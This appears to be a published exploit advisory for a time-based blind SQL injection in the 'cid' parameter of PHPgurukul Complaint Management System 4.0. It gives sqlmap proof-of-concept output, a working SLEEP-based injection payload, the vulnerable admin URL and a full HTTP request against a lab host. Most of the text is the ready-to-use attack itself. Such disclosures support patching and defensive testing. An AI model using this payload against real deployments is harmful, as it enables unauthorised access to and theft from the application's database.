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# Exploit Title: Complaint Management System 4.0 - 'cid' SQL injection  
# Google Dork: N/A  
# Date: 2020-01-03  
# Exploit Author: FULLSHADE  
# Vendor Homepage: https://phpgurukul.com  
# Software Link: https://phpgurukul.com/complaint-management-sytem/  
# Version: v4.0  
# Tested on: Windows 7  
# CVE : N/A  
  
Description:  
  
The Complaint Management System v4.0 application from PHPgurukul is vulnerable to  
blind SQL injection via the 'cid' parameter which is found on the complaint-details.php  
page.  
  
========== 1. SQLi ==========  
  
SQLMAP POC:  
  
GET parameter 'cid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n  
sqlmap identified the following injection point(s) with a total of 1748 HTTP(s) requests:  
---  
Parameter: cid (GET)  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: cid=2'+(SELECT 0x7648556f WHERE 4476=4476 AND SLEEP(5))+'  
---  
  
The ?cid parameter is vulnerable to sql injection within the  
  
the vulnerable URL = https://10.0.0.214/complaint%20management%20system/cms/admin/complaint-details.php?cid=2  
  
request:  
  
GET /complaint%20management%20system/cms/admin/complaint-details.php?cid=2 HTTP/1.1  
Host: 10.0.0.214  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
Connection: close  
Cookie: PHPSESSID=5bmri9rlp1jvrjkhgumn7v9fot  
Upgrade-Insecure-Requests: 1